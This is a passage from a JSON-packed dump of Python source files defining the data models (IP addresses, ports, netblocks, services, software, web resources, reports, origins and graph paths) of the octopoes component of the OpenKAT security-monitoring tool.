address objects.\n\n    Example value\n    -------------\n    192.168.1.2\n    \"\"\"\n\n    object_type: Literal[\"IPAddressV4\"] = \"IPAddressV4\"\n    address: IPv4Address\n\n    netblock: Reference | None = ReferenceField(\n        \"IPV4NetBlock\", optional=True, max_issue_scan_level=0, max_inherit_scan_level=4, default=None\n    )\n\n    _reverse_relation_names = {\"network\": \"ip_v4_addresses\", \"netblock\": \"ip_v4_addresses\"}\n\n\nclass IPAddressV6(IPAddress):\n    \"\"\"Represents IPv6 address objects.\n\n    Example value\n    -------------\n    fdf8:f53b:82e4::53\n    \"\"\"\n\n    object_type: Literal[\"IPAddressV6\"] = \"IPAddressV6\"\n    address: IPv6Address\n\n    netblock: Reference | None = ReferenceField(\n        \"IPV6NetBlock\", optional=True, max_issue_scan_level=0, max_inherit_scan_level=4, default=None\n    )\n\n    _reverse_relation_names = {\"network\": \"ip_v6_addresses\", \"netblock\": \"ip_v6_addresses\"}\n\n\nclass Protocol(Enum):\n    \"\"\"Represents the protocol used for ports.\n\n    Possible value\n    --------------\n    tcp, udp\n\n    Example value\n    -------------\n    tcp\n    \"\"\"\n\n    TCP = \"tcp\"\n    UDP = \"udp\"\n\n\nclass PortState(Enum):\n    \"\"\"Represents the state of the identified ports.\n\n    This is deprecated. OpenKAT assumes that all ports are always open.\n\n    Possible value\n    --------------\n    open, closed, filtered, unfiltered, open|filtered, closed|filtered\n\n    Example value\n    -------------\n    closed\n    \"\"\"\n\n    OPEN = \"open\"\n    CLOSED = \"closed\"\n    FILTERED = \"filtered\"\n    UNFILTERED = \"unfiltered\"\n    OPEN_FILTERED = \"open|filtered\"\n    CLOSED_FILTERED = \"closed|filtered\"\n\n\nclass IPPort(OOI):\n    \"\"\"Represents the IP-Port combination.\n\n    Possible value\n    --------------\n    address, protocol, port, port state\n\n    Example value\n    -------------\n    192.168.1.5:22/tcp\n    \"\"\"\n\n    object_type: Literal[\"IPPort\"] = \"IPPort\"\n\n    address: Reference = ReferenceField(IPAddress, max_issue_scan_level=0, max_inherit_scan_level=4)\n    protocol: Protocol\n    port: Annotated[int, Field(gt=0, lt=2**16)]\n    state: PortState | None = None\n\n    _natural_key_attrs = [\"address\", \"protocol\", \"port\"]\n    _reverse_relation_names = {\"address\": \"ports\"}\n    _information_value = [\"protocol\", \"port\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        tokenized = reference.tokenized\n        return f\"{tokenized.address.address}:{tokenized.port}/{tokenized.protocol}\"\n\n\nclass AutonomousSystem(OOI):\n    \"\"\"Represents the Autonomous System number object.\n\n    Possible value\n    --------------\n    number, name\n\n    Example value\n    -------------\n    AS1000\n    \"\"\"\n\n    object_type: Literal[\"AutonomousSystem\"] = \"AutonomousSystem\"\n\n    number: str\n    name: str | None\n    _natural_key_attrs = [\"number\"]\n\n\nclass NetBlock(OOI):\n    \"\"\"Represents the Netblock object for subnets.\"\"\"\n\n    network: Reference = ReferenceField(Network)\n\n    name: str | None = None\n    description: str | None = None\n\n    announced_by: Reference | None = ReferenceField(AutonomousSystem, default=None)\n    parent: Reference | None = ReferenceField(\"NetBlock\", default=None)\n\n    _natural_key_attrs = [\"network\", \"start_ip\", \"mask\"]\n\n    _reverse_relation_names = {\"announced_by\": \"announced_netblocks\", \"parent\": \"child_netblocks\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.start_ip.address}/{reference.tokenized.mask}\"\n\n\nclass IPV6NetBlock(NetBlock):\n    \"\"\"Represents the IPv6 Netblock object.\n\n    Possible value\n    --------------\n    start IPv6 address, netmask\n\n    Example value\n    -------------\n    2001:0002::/48\n    \"\"\"\n\n    object_type: Literal[\"IPV6NetBlock\"] = \"IPV6NetBlock\"\n\n    parent: Reference | None = ReferenceField(\"IPV6NetBlock\", default=None)\n\n    start_ip: Reference = ReferenceField(IPAddressV6, max_issue_scan_level=4)\n    mask: Annotated[int, Field(ge=0, lt=128)]\n\n    _reverse_relation_names = {\"parent\": \"child_netblocks\", \"announced_by\": \"announced_ipv6_netblocks\"}\n\n\nclass IPV4NetBlock(NetBlock):\n    \"\"\"Represents the IPv4 Netblock object.\n\n    Possible value\n    --------------\n    start IPv4 address, netmask\n\n    Example value\n    -------------\n    192.168.5.0/24\n    \"\"\"\n\n    object_type: Literal[\"IPV4NetBlock\"] = \"IPV4NetBlock\"\n\n    parent: Reference | None = ReferenceField(\"IPV4NetBlock\", default=None)\n\n    start_ip: Reference = ReferenceField(IPAddressV4, max_issue_scan_level=4)\n    mask: Annotated[int, Field(ge=0, lt=32)]\n\n    _reverse_relation_names = {\"parent\": \"child_netblocks\", \"announced_by\": \"announced_ipv4_netblocks\"}\n\n\nIPAddressV4.model_rebuild()\nIPAddressV6.model_rebuild()\nNetBlock.model_rebuild()\nIPV4NetBlock.model_rebuild()\nIPV6NetBlock.model_rebuild()\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/question.py",
    "content": "import json\nfrom json import JSONDecodeError\nfrom typing import Literal\n\nfrom jsonschema.exceptions import SchemaError\nfrom jsonschema.validators import Draft202012Validator\nfrom pydantic import field_validator\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass Question(OOI):\n    object_type: Literal[\"Question\"] = \"Question\"\n\n    ooi: Reference = ReferenceField(OOI)\n    schema_id: str\n    json_schema: str\n\n    _natural_key_attrs = [\"schema_id\", \"ooi\"]\n    _traversable = False\n    _reverse_relation_names = {\"ooi\": \"questions\"}\n\n    @field_validator(\"json_schema\")\n    @classmethod\n    def json_schema_valid(cls, schema: str) -> str:\n        try:\n            val = Draft202012Validator({})\n            val.check_schema(json.loads(schema))\n        except JSONDecodeError as e:\n            raise ValueError(\"The json_schema is not valid JSON\") from e\n        except SchemaError as e:\n            raise ValueError(\"The json_schema field is not a valid JSON schema\") from e\n\n        return schema\n\n    @property\n    def config_pk(self) -> str:\n        config_id = self.schema_id.split(\"/\")[-1]\n        return f\"Config|{self.ooi.tokenized.name}|{config_id}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/reports.py",
    "content": "from datetime import datetime\nfrom typing import Annotated, Any, Literal\nfrom uuid import UUID\n\nfrom pydantic import AliasGenerator, BeforeValidator, ConfigDict, Field\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass ReportData(OOI):\n    object_type: Literal[\"ReportData\"] = \"ReportData\"\n    organization_code: str\n    organization_name: str\n    organization_tags: list[str]\n    data: dict\n\n    _natural_key_attrs = [\"organization_code\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"Report data of organization {reference.tokenized.organization_code}\"\n\n\nclass BaseReport(OOI):\n    name: str\n    template: str | None = None\n    date_generated: datetime\n    reference_date: datetime\n\n    organization_code: str\n    organization_name: str\n    organization_tags: list[str]\n    data_raw_id: str\n\n    observed_at: datetime\n    report_recipe: Reference = ReferenceField(\"ReportRecipe\")\n\n\nclass AssetReport(BaseReport):\n    object_type: Literal[\"AssetReport\"] = Field(\"AssetReport\", alias=\"object_type\")  # Skip alias generation\n    report_type: str\n\n    input_ooi: str\n\n    _natural_key_attrs = [\"input_ooi\", \"report_type\"]\n\n    # A POC for validating the JSON data from XTDB without having to remove the \"OOIType/\" part of the key. This\n    # is especially convenient when parsing nested OOI types as we do for a HydratedReport.\n    model_config = ConfigDict(\n        alias_generator=AliasGenerator(validation_alias=lambda field_name: f\"AssetReport/{field_name}\"),\n        populate_by_name=True,\n    )\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.report_type} for {reference.tokenized.input_ooi}\"\n\n\nclass Report(BaseReport):\n    object_type: Literal[\"Report\"] = \"Report\"\n    report_type: str  # e.g. \"concatenated-report\", \"aggregate-organisation-report\" or \"multi-organization-report\"\n\n    input_oois: list[str]\n\n    _natural_key_attrs = [\"report_recipe\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"HydratedReport for ReportRecipe|{reference.tokenized.report_recipe.recipe_id}\"\n\n\nclass HydratedReport(BaseReport):\n    object_type: Literal[\"HydratedReport\"] = \"HydratedReport\"\n    report_type: str  # e.g. \"concatenated-report\", \"aggregate-organisation-report\" or \"multi-organization-report\"\n\n    input_oois: list[AssetReport | str]\n\n    _natural_key_attrs = [\"report_recipe\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"HydratedReport for ReportRecipe|{reference.tokenized.report_recipe.recipe_id}\"\n\n    def to_report(self) -> Report:\n        as_dict = self.model_dump(exclude={\"input_oois\", \"object_type\"})\n        as_dict[\"input_oois\"] = [\n            input_ooi.reference if isinstance(input_ooi, AssetReport) else input_ooi for input_ooi in self.input_oois\n        ]\n\n        return Report.model_validate(as_dict)\n\n\nclass ReportRecipe(OOI):\n    object_type: Literal[\"ReportRecipe\"] = \"ReportRecipe\"\n\n    recipe_id: UUID\n\n    report_name_format: Annotated[str, BeforeValidator(lambda x: x.strip()), Field(min_length=1)]\n\n    input_recipe: dict[str, Any]  # can contain a query which maintains a live set of OOIs or manually picked OOIs.\n    report_type: Annotated[str, BeforeValidator(lambda x: x.strip()), Field(min_length=1)]\n    asset_report_types: list[str]\n\n    cron_expression: str | None = None\n\n    _natural_key_attrs = [\"recipe_id\"]\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/scans.py",
    "content": "from typing import Literal\n\nfrom octopoes.models import OOI, Reference\n\n\nclass ExternalScan(OOI):\n    object_type: Literal[\"ExternalScan\"] = \"ExternalScan\"\n\n    name: str\n\n    _natural_key_attrs = [\"name\"]\n    _information_value = [\"name\"]\n    _traversable = False\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.name\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/service.py",
    "content": "from typing import Literal\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.network import IPPort\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass Service(OOI):\n    object_type: Literal[\"Service\"] = \"Service\"\n\n    name: str\n\n    _natural_key_attrs = [\"name\"]\n    _information_value = [\"name\"]\n    _traversable = False\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.name\n\n\nclass IPService(OOI):\n    object_type: Literal[\"IPService\"] = \"IPService\"\n\n    ip_port: Reference = ReferenceField(IPPort, max_issue_scan_level=0, max_inherit_scan_level=4)\n    service: Reference = ReferenceField(Service, max_issue_scan_level=1, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"ip_port\", \"service\"]\n\n    _reverse_relation_names = {\"ip_port\": \"services\", \"service\": \"services\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized\n        ip_address = t.ip_port.address.address\n        return f\"{t.service.name}://{ip_address}:{t.ip_port.port}/{t.ip_port.protocol}\"\n\n\nclass TLSCipher(OOI):\n    object_type: Literal[\"TLSCipher\"] = \"TLSCipher\"\n\n    ip_service: Reference = ReferenceField(IPService, max_issue_scan_level=0, max_inherit_scan_level=4)\n    suites: dict\n\n    _natural_key_attrs = [\"ip_service\"]\n\n    _reverse_relation_names = {\"ip_service\": \"ciphers\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized\n        ip_address = t.ip_service.ip_port.address.address\n        return f\"Ciphers of {str(ip_address)}:{t.ip_service.ip_port.port}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/software.py",
    "content": "from typing import Literal\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass Software(OOI):\n    object_type: Literal[\"Software\"] = \"Software\"\n\n    name: str\n    version: str | None = None\n    cpe: str | None = None\n\n    _natural_key_attrs = [\"name\", \"version\", \"cpe\"]\n    _information_value = [\"name\"]\n    _traversable = False\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        version = reference.tokenized.version\n        if version:\n            version = f\" {version}\"\n        return f\"{reference.tokenized.name}{version}\"\n\n\nclass SoftwareInstance(OOI):\n    object_type: Literal[\"SoftwareInstance\"] = \"SoftwareInstance\"\n\n    ooi: Reference = ReferenceField(OOI, max_issue_scan_level=0, max_inherit_scan_level=1)\n    software: Reference = ReferenceField(Software, max_issue_scan_level=1, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"ooi\", \"software\"]\n    _reverse_relation_names = {\"ooi\": \"software_instances\", \"software\": \"instances\"}\n\n    # PK example: SoftwareInstance|IPAddressV4|internet|1.1.1.1|Software|apache|1.0|apache:/a.2.1./asd/\n    @property\n    def natural_key(self) -> str:\n        return f\"{self.ooi}|{self.software}\"\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        parts = reference.natural_key.split(\"|\")\n        ooi_reference = Reference.from_str(\"|\".join(parts[0:-4]))\n        software_reference = Reference.from_str(\"|\".join(parts[-4:]))\n        return f\"{software_reference.human_readable} @ {ooi_reference.human_readable}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/web.py",
    "content": "from enum import Enum\nfrom typing import Literal\n\nfrom pydantic import AnyUrl\n\nfrom octopoes.models import OOI, PrimaryKeyToken, Reference\nfrom octopoes.models.ooi.certificate import X509Certificate\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddress, Network\nfrom octopoes.models.ooi.service import IPService\nfrom octopoes.models.persistence import ReferenceField\n\n\ndef format_web_url_token(token: PrimaryKeyToken) -> str:\n    port = f\":{token.port}\" if token.port else \"\"\n    try:\n        netloc = token.netloc.address\n    except KeyError:\n        netloc = token.netloc.name\n\n    return f\"{token.scheme}://{netloc}{port}{token.path}\"\n\n\nclass Website(OOI):\n    object_type: Literal[\"Website\"] = \"Website\"\n\n    ip_service: Reference = ReferenceField(IPService, max_issue_scan_level=0, max_inherit_scan_level=4)\n    hostname: Reference = ReferenceField(Hostname, max_inherit_scan_level=4)\n    certificate: Reference | None = ReferenceField(X509Certificate, default=None, max_issue_scan_level=1)\n\n    _natural_key_attrs = [\"ip_service\", \"hostname\"]\n\n    _reverse_relation_names = {\"ip_service\": \"websites\", \"hostname\": \"websites\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized\n        service = t.ip_service.service.name\n        address = t.ip_service.ip_port.address.address\n        port = t.ip_service.ip_port.port\n        return f\"{service}://{t.hostname.name}:{port} @ {address}\"\n\n\nclass WebScheme(Enum):\n    HTTP = \"http\"\n    HTTPS = \"https\"\n\n\nclass WebURL(OOI):\n    network: Reference = ReferenceField(Network)\n\n    scheme: WebScheme\n    port: int\n    path: str\n\n\nclass HostnameHTTPURL(WebURL):\n    object_type: Literal[\"HostnameHTTPURL\"] = \"HostnameHTTPURL\"\n\n    netloc: Reference = ReferenceField(Hostname, max_issue_scan_level=2, max_inherit_scan_level=4)\n\n    _natural_key_attrs = [\"scheme\", \"netloc\", \"port\", \"path\"]\n    _reverse_relation_names = {\"netloc\": \"urls\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        tokenized = reference.tokenized\n        port = f\":{tokenized.port}\" if tokenized.port else \"\"\n        return f\"{tokenized.scheme}://{tokenized.netloc.name}{port}{tokenized.path}\"\n\n\nclass IPAddressHTTPURL(WebURL):\n    object_type: Literal[\"IPAddressHTTPURL\"] = \"IPAddressHTTPURL\"\n\n    netloc: Reference = ReferenceField(IPAddress, max_issue_scan_level=1, max_inherit_scan_level=4)\n\n    _natural_key_attrs = [\"scheme\", \"netloc\", \"port\", \"path\"]\n    _reverse_relation_names = {\"netloc\": \"urls\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        tokenized = reference.tokenized\n        port = f\":{tokenized.port}\" if tokenized.port else \"\"\n        return f\"{tokenized.scheme}://{tokenized.netloc.address}{port}{tokenized.path}\"\n\n\nclass HTTPResource(OOI):\n    object_type: Literal[\"HTTPResource\"] = \"HTTPResource\"\n\n    website: Reference = ReferenceField(Website, max_issue_scan_level=0, max_inherit_scan_level=4)\n    web_url: Reference = ReferenceField(WebURL, max_issue_scan_level=1, max_inherit_scan_level=4)\n    redirects_to: Reference | None = ReferenceField(WebURL, default=None)\n\n    _natural_key_attrs = [\"website\", \"web_url\"]\n\n    _reverse_relation_names = {\"website\": \"resources\", \"web_url\": \"resources\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized\n        port = f\":{t.web_url.port}\"\n        try:\n            netloc = t.web_url.netloc.address\n        except KeyError:\n            netloc = t.web_url.netloc.name\n\n        web_url = f\"{t.web_url.scheme}://{netloc}{port}{t.web_url.path}\"\n        address = t.website.ip_service.ip_port.address.address\n\n        return f\"{web_url} @ {address}\"\n\n\nclass HTTPHeader(OOI):\n    object_type: Literal[\"HTTPHeader\"] = \"HTTPHeader\"\n\n    resource: Reference = ReferenceField(HTTPResource, max_issue_scan_level=0, max_inherit_scan_level=4)\n    key: str\n    value: str\n\n    _natural_key_attrs = [\"resource\", \"key\"]\n    _information_value = [\"key\"]\n    _reverse_relation_names = {\"url\": \"http_headers\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized\n\n        port = f\":{t.resource.web_url.port}\" if t.resource.web_url.port else \"\"\n        try:\n            netloc = t.resource.web_url.netloc.address\n        except KeyError:\n            netloc = t.resource.web_url.netloc.name\n\n        web_url = f\"{t.resource.web_url.scheme}://{netloc}{port}{t.resource.web_url.path}\"\n        address = t.resource.website.ip_service.ip_port.address.address\n\n        return f\"{reference.tokenized.key} @ {web_url} @ {address}\"\n\n\nclass URL(OOI):\n    object_type: Literal[\"URL\"] = \"URL\"\n\n    network: Reference = ReferenceField(Network)\n    raw: AnyUrl\n\n    web_url: Reference | None = ReferenceField(WebURL, max_issue_scan_level=2, default=None)\n\n    _natural_key_attrs = [\"network\", \"raw\"]\n\n    _reverse_relation_names = {\"network\": \"urls\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.raw} @{reference.tokenized.network.name}\"\n\n\nclass HTTPHeaderURL(OOI):\n    object_type: Literal[\"HTTPHeaderURL\"] = \"HTTPHeaderURL\"\n\n    header: Reference = ReferenceField(HTTPHeader, max_issue_scan_level=0, max_inherit_scan_level=1)\n    url: Reference = ReferenceField(URL, max_issue_scan_level=1, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"header\", \"url\"]\n    _reverse_relation_names = {\"header\": \"urls\", \"url\": \"headers_containing_url\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized.header\n\n        port = f\":{t.resource.web_url.port}\" if t.resource.web_url.port else \"\"\n        try:\n            netloc = t.resource.web_url.netloc.address\n        except KeyError:\n            netloc = t.resource.web_url.netloc.name\n\n        web_url = f\"{t.resource.web_url.scheme}://{netloc}{port}{t.resource.web_url.path}\"\n        address = t.resource.website.ip_service.ip_port.address.address\n\n        return f\"{t.key} @ {web_url} @ {address} contains {str(reference.tokenized.url.raw)}\"\n\n\nclass HTTPHeaderHostname(OOI):\n    object_type: Literal[\"HTTPHeaderHostname\"] = \"HTTPHeaderHostname\"\n\n    header: Reference = ReferenceField(HTTPHeader, max_issue_scan_level=0, max_inherit_scan_level=1)\n    hostname: Reference = ReferenceField(Hostname, max_issue_scan_level=1, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"header\", \"hostname\"]\n    _reverse_relation_names = {\"header\": \"hostnames\", \"hostname\": \"headers_containing_hostname\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized.header\n\n        port = f\":{t.resource.web_url.port}\" if t.resource.web_url.port else \"\"\n        try:\n            netloc = t.resource.web_url.netloc.address\n        except KeyError:\n            netloc = t.resource.web_url.netloc.name\n\n        web_url = f\"{t.resource.web_url.scheme}://{netloc}{port}{t.resource.web_url.path}\"\n        address = t.resource.website.ip_service.ip_port.address.address\n\n        return f\"{t.key} @ {web_url} @ {address} contains {str(reference.tokenized.hostname.name)}\"\n\n\nclass ImageMetadata(OOI):\n    object_type: Literal[\"ImageMetadata\"] = \"ImageMetadata\"\n\n    resource: Reference = ReferenceField(HTTPResource, max_issue_scan_level=0, max_inherit_scan_level=4)\n    image_info: dict\n\n    _natural_key_attrs = [\"resource\"]\n    _reverse_relation_names = {\"resource\": \"ImageMetaData\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        try:\n            t = reference.tokenized\n\n            port = f\":{t.resource.web_url.port}\" if t.resource.web_url.port else \"\"\n            try:\n                netloc = t.resource.web_url.netloc.address\n            except KeyError:\n                netloc = t.resource.web_url.netloc.name\n\n            web_url = f\"{t.resource.web_url.scheme}://{netloc}{port}{t.resource.web_url.path}\"\n            address = t.resource.website.ip_service.ip_port.address.address\n\n            return f\"{web_url} @ {address}\"\n        except IndexError:\n            # try parsing reference as a HostnameHTTPURL instead\n            tokenized = HostnameHTTPURL.get_tokenized_primary_key(reference.natural_key)\n            port = f\":{tokenized.port}\" if tokenized.port else \"\"\n            return f\"{tokenized.scheme}://{tokenized.netloc.name}{port}{tokenized.path}\"\n\n\nclass RESTAPI(OOI):\n    object_type: Literal[\"RESTAPI\"] = \"RESTAPI\"\n\n    api_url: Reference = ReferenceField(WebURL)\n\n    _natural_key_attrs = [\"api_url\"]\n    _reverse_relation_names = {\"api_url\": \"api_url_of\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return format_web_url_token(reference.tokenized.api_url)\n\n\nclass APIDesignRule(OOI):\n    object_type: Literal[\"APIDesignRule\"] = \"APIDesignRule\"\n\n    name: str\n\n    _natural_key_attrs = [\"name\"]\n    _reverse_relation_names = {}\n    _traversable = False\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.name\n\n\nclass APIDesignRuleResult(OOI):\n    object_type: Literal[\"APIDesignRuleResult\"] = \"APIDesignRuleResult\"\n\n    rest_api: Reference = ReferenceField(RESTAPI)\n    rule: Reference = ReferenceField(APIDesignRule)\n    passed: bool\n    message: str\n\n    _natural_key_attrs = [\"rest_api\", \"rule\"]\n    _reverse_relation_names = {\"rest_api\": \"api_design_rule_results\", \"rule\": \"results\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        t = reference.tokenized\n\n        rule = t.rule.name\n        api_url = format_web_url_token(t.rest_api.api_url)\n\n        return f\"{rule} @ {api_url}\"\n\n\nclass SecurityTXT(OOI):\n    object_type: Literal[\"SecurityTXT\"] = \"SecurityTXT\"\n\n    website: Reference = ReferenceField(\"Website\", max_issue_scan_level=0, max_inherit_scan_level=4)\n    url: Reference = ReferenceField(\"URL\", max_issue_scan_level=0, max_inherit_scan_level=4)\n\n    redirects_to: Reference | None = ReferenceField(\n        \"SecurityTXT\", max_issue_scan_level=2, max_inherit_scan_level=0, default=None\n    )\n    security_txt: str | None = None\n\n    _natural_key_attrs = [\"website\", \"url\"]\n    _reverse_relation_names = {\n        \"website\": \"security_txt_of\",\n        \"url\": \"security_txt\",\n        \"redirects_to\": \"is_being_redirected_to_by\",\n    }\n"
  },
  {
    "path": "octopoes/octopoes/models/origin.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\nfrom uuid import UUID\n\nfrom pydantic import BaseModel, Field\n\nfrom octopoes.models import Reference\n\n\nclass OriginType(Enum):\n    DECLARATION = \"declaration\"\n    OBSERVATION = \"observation\"\n    INFERENCE = \"inference\"\n    AFFIRMATION = \"affirmation\"\n\n\nclass Origin(BaseModel):\n    origin_type: OriginType\n    method: str\n    source: Reference\n    source_method: str | None = None  # None for bits and normalizers\n    result: list[Reference] = Field(default_factory=list)\n    task_id: UUID | None = None\n\n    def __sub__(self, other: Origin) -> set[Reference]:\n        if isinstance(other, Origin):\n            return set(self.result) - set(other.result)\n        else:\n            return NotImplemented\n\n    @property\n    def id(self) -> str:\n        if self.source_method is not None:\n            return (\n                f\"{self.__class__.__name__}|{self.origin_type.value}|{self.method}|{self.source_method}|{self.source}\"\n            )\n\n        return f\"{self.__class__.__name__}|{self.origin_type.value}|{self.method}|{self.source}\"\n\n    def __eq__(self, other):\n        if isinstance(other, Origin):\n            return (\n                self.origin_type == other.origin_type\n                and self.method == other.method\n                and self.source_method == other.source_method\n                and self.source == other.source\n                and set(self.result) == set(other.result)\n            )\n        return False\n\n\nclass OriginParameter(BaseModel):\n    origin_id: str\n    reference: Reference\n\n    @property\n    def id(self) -> str:\n        return f\"{self.__class__.__name__}|{self.origin_id}|{self.reference}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/pagination.py",
    "content": "from typing import Generic, TypeVar\n\nfrom pydantic import BaseModel\n\nT = TypeVar(\"T\")\n\n\nclass Paginated(BaseModel, Generic[T]):\n    count: int\n    items: list[T]\n"
  },
  {
    "path": "octopoes/octopoes/models/path.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\nfrom functools import cache\n\nfrom pyparsing import Literal, Opt, ParseException, Word, alphas\n\nfrom octopoes.models import OOI\nfrom octopoes.models.types import (\n    OOITYPE_BY_NAME,\n    OOIType,\n    get_concrete_types,\n    get_relation,\n    get_relations,\n    to_concrete,\n    type_by_name,\n)\n\ntype_intersection_grammar = Literal(\"[\") + \"is\" + Word(alphas) + \"]\"\n\nincoming_step_grammar = \"<\" + Word(alphas + \"_\") + type_intersection_grammar\noutgoing_step_grammar = Word(alphas + \"_\") + Opt(type_intersection_grammar)\n\n\nclass Direction(Enum):\n    OUTGOING = 0\n    INCOMING = 1\n\n\nclass Segment:\n    def __init__(self, source_type: type[OOI], direction: Direction, property_name: str, target_type: type[OOI] | None):\n        self.source_type = source_type\n        self.direction = direction\n        self.property_name = property_name\n        self.target_type = target_type\n\n    def __hash__(self):\n        \"\"\"Hashing for cache usage\"\"\"\n        return hash(\"\".join((str(self.source_type), str(self.direction), self.property_name, str(self.target_type))))\n\n    @classmethod\n    def parse_step(cls, step: str) -> tuple[Direction, str, type[OOIType] | None]:\n        try:\n            parsed_step = incoming_step_grammar.parse_string(step)\n            incoming, property_name, _, _, target_type, _ = parsed_step\n            return Direction.INCOMING, property_name, type_by_name(target_type)\n        except ParseException:\n            try:\n                parsed_step = outgoing_step_grammar.parse_string(step)\n                if len(parsed_step) == 1:\n                    return Direction.OUTGOING, parsed_step[0], None\n                property_name, _, _, target_type, _ = parsed_step\n                return Direction.OUTGOING, property_name, type_by_name(target_type)\n            except ParseException:\n                raise ValueError(f\"Could not parse step: {step}\")\n\n    @classmethod\n    def calculate_step(cls, source_type: type[OOI], step: str) -> Segment:\n        direction, property_name, explicit_target_type = cls.parse_step(step)\n\n        if explicit_target_type:\n            return cls(source_type, direction, property_name, explicit_target_type)\n\n        try:\n            return cls(source_type, direction, property_name, get_relation(source_type, property_name))\n        except KeyError:\n            for concrete in source_type.strict_subclasses():\n                try:\n                    return cls(source_type, direction, property_name, get_relation(concrete, property_name))\n                except KeyError:\n                    pass\n\n            # We failed to get the relation, so the target in the step is not a relation but a regular field of the OOI.\n            return cls(source_type, direction, property_name, None)\n\n    def reverse(self) -> Segment:\n        if self.target_type is None:\n            raise ValueError(\"Cannot reverse segment without a target type.\")\n\n        return self.__class__(\n            self.target_type,\n            Direction.OUTGOING if self.direction == Direction.INCOMING else Direction.INCOMING,\n            self.property_name,\n            self.source_type,\n        )\n\n    def encode(self) -> str:\n        if self.direction == Direction.OUTGOING:\n            return f\"{self.source_type.get_object_type()}/{self.property_name}\"\n        else:\n            if self.target_type is None:\n                raise ValueError(\"Direction cannot be incoming if target type is None\")\n\n            return f\"{self.target_type.get_object_type()}/_{self.property_name}\"\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, Segment):\n            return NotImplemented\n\n        return (\n            self.source_type == other.source_type\n            and self.direction == other.direction\n            and self.property_name == other.property_name\n            and self.target_type == other.target_type\n        )\n\n    def __str__(self) -> str:\n        if self.direction == Direction.INCOMING:\n            if self.target_type is None:\n                raise ValueError(\"Direction cannot be incoming if target type is None\")\n\n            return f\"<{self.property_name}[is {self.target_type.get_object_type()}]\"\n        else:\n            return f\"{self.property_name}\"\n\n    def __repr__(self) -> str:\n        return str(self)\n\n\nclass Path:\n    def __init__(self, segments: list[Segment]):\n        self.segments = segments\n\n    @classmethod\n    def parse(cls, path: str) -> Path:\n        start_type, step, *rest = path.split(\".\")\n\n        segments = [Segment.calculate_step(type_by_name(start_type), step)]\n        for next_step in rest:\n            if segments[-1].target_type is None:\n                break\n            segments.append(Segment.calculate_step(segments[-1].target_type, next_step))\n\n        return Path(segments)\n\n    def reverse(self) -> Path:\n        # TODO: we fail if the last segment is a regular field. Another option is stripping it from the reversed path?\n        return Path([segment.reverse() for segment in reversed(self.segments)])\n\n    def __str__(self) -> str:\n        start_type = self.segments[0].source_type.get_object_type()\n        segments = \".\".join(map(str, self.segments))\n        return f\"{start_type}.{segments}\"\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, Path | str):\n            return NotImplemented\n\n        return str(self) == str(other)\n\n    def __lt__(self, other):\n        return str(self) < str(other)\n\n    def __hash__(self):\n        return hash(str(self))\n\n    def __repr__(self) -> str:\n        return str(self)\n\n\ndef get_paths_to_neighbours(source_type: type[OOI]) -> set[Path]:\n    \"\"\"\n    Public API: safely caches paths using string keys.\n    \"\"\"\n    return _cached_paths_to_neighbours(source_type.__name__)\n\n\n@cache\ndef 